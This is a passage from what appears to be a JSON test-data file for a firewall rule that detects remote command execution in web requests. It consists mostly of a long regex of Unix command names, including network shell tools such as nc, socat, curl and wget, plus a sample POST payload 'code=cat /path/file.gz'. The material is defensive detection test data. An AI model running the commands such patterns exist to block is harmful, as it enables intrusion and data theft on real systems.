bm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "ANQ9SN3S" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cat /path/file.gz\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5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s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\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\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\